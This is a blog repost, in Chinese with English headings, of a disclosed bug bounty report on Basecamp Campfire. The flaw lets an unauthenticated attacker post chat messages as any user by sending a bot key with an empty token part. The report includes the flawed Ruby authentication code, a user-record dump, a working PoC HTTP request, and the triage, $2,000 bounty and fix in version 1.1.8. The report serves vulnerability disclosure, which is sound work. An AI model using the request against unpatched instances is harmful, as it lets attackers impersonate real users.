深度剖析:Basecamp Campfire 机器人身份验证缺陷导致的用户身份伪造漏洞

本文详细分析了一个在Basecamp Campfire中发现的高危安全漏洞。攻击者通过利用机器人身份验证逻辑缺陷,可在无需有效令牌的情况下,仅凭猜测或泄露的用户ID,就能以任意用户身份在聊天室中发送消息。漏洞报告包含完整的技术分析、PoC代码、影响评估以及官方的修复与赏金支付过程。

Improper bot-authentication allows to impersonate any user when sending messages in a room

Bots 被允许在聊天室中发送消息,但需要一个 bot key 进行身份验证。

机器人密钥身份验证功能如下:

1
2
3
4
def authenticate_bot(bot_key)
  bot_id, bot_token = bot_key.split("-")
  active.find_by(id: bot_id, bot_token: bot_token)
end

问题在于,如果 bot_key 没有右侧部分(例如:1-),那么 bot_token 将为 nil,而查询将会匹配一个 User 记录,前提是 bot_id 匹配一个有效的用户ID。

ID 是递增的,正如在 Rails 控制台中所见,因此很容易被猜测。它们在某些 URL 中也是可见的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
campfire(prod):038> User.active
=> 
[#<User:0x00007a444e940f18
  id: 1,
  name: "enoent",
  created_at: "2025-09-06 11:59:41.505220000 +0000",
  updated_at: "2025-09-06 14:08:08.788258000 +0000",
  role: "administrator",
  email_address: "[FILTERED]",
  password_digest: "[FILTERED]",
  active: true,
  bio: "<s>ddqsdqsds</s>",
  bot_token: nil>,
 #<User:0x00007a444e940dd8
  id: 2,
  name: "test",
  created_at: "2025-09-06 13:24:29.113250000 +0000",
  updated_at: "2025-09-06 13:42:26.539909000 +0000",
  role: "member",
  email_address: "[FILTERED]",
  password_digest: "[FILTERED]",
  active: true,
  bio: nil,
  bot_token: nil>,
 #<User:0x00007a444e940c98

以下请求凸显了该问题,因为它允许未经身份验证的用户冒充另一个用户(此处 ID 为 2)并以其名义发布消息:

1
2
3
4
5
6
7
8
POST /rooms/2/2-/messages HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/vnd.turbo-stream.html, text/html, application/xhtml+xml
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 193

Hello ! I'm the test user, even though I'm not authenticated

附件的图片显示消息成功发布,并显示来自 “test” 用户。

影响 未经身份验证的用户可以以任何用户的身份发送任意消息,前提是该被冒充的用户有权限访问该聊天室。

attachments 1 个附件 F4756254: message_posted.png

jacopo-beschi 发表了一条评论。 September 9, 2025, 4:08pm UTC 感谢!我确认报告的有效性。我将很快为您提供赏金。

jacopo-beschi 将严重性从 高 (8.7) 更新为 中 (6.5)。 September 9, 2025, 4:18pm UTC

jacopo-beschi 将严重性从 中 (6.5) 更新为 高 (7.5)。 September 9, 2025, 4:23pm UTC

jacopo-beschi 将严重性从 高 (7.5) 更新为 高。 September 9, 2025, 4:23pm UTC

jacopo-beschi 将严重性从 高 更新为 高 (7.5)。 September 9, 2025, 4:24pm UTC

jacopo-beschi 将严重性从 高 (7.5) 更新为 高。 September 9, 2025, 4:26pm UTC

jacopo-beschi 发表了一条评论。 September 10, 2025, 7:18am UTC 只是快速更新一下:我们将从 Campfire 中移除赏金计划,因为该项目现已开源,我们不再有相关的资金支持。我正在与团队讨论如何最好地处理现有的报告。我会随时通知您。

Basecamp 奖励了 stackered 2000 美元赏金。 September 10, 2025, 8:43am UTC

jacopo-beschi 发表了一条评论。 September 10, 2025, 8:44am UTC 您好,我刚刚为您提供了 2000 美元的赏金:我们决定为现有的 Campfire 报告提供赏金,但我们将不再为该资产提供赏金。我们刚刚在 1.1.8 版本中发布了修复。您能确认您无法再复现此问题吗?谢谢。

jacopo-beschi 将状态更改为 TriagedSeptember 10, 2025, 8:45am UTC

stackered 发表了一条评论。 Updated September 10, 2025, 11:22am UTC 您好,感谢赏金! 我无法访问您提供的链接进行验证。我收到了 404 错误。

jacopo-beschi 发表了一条评论。 September 11, 2025, 10:33am UTC 抱歉,我刚刚将修复推送到了 OSS 仓库,您现在可以验证了吗?谢谢。

stackered 发表了一条评论。 September 11, 2025, 11:23am UTC 您好,我确认在应用补丁后无法再复现该问题。

jacopo-beschi 发表了一条评论。 September 11, 2025, 12:06pm UTC 太好了,谢谢!

jacopo-beschi 关闭了报告并将状态更改为 ResolvedSeptember 11, 2025, 12:06pm UTC

stackered 请求披露此报告。 7 days ago

jeremy (Basecamp staff) 同意披露此报告。 7 days ago

此报告已被披露。 7 days ago

报告日期 报告人 报告给 参与者
September 6, 2025, 3:24pm UTC stackered Basecamp
报告 ID 状态 严重性 披露日期
#3329310 Resolved High (7 ~ 8.9) November 21, 2025, 7:39pm UTC
弱点 CVE ID 赏金 账户详情
Improper Authentication - Generic None $2,000 None
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计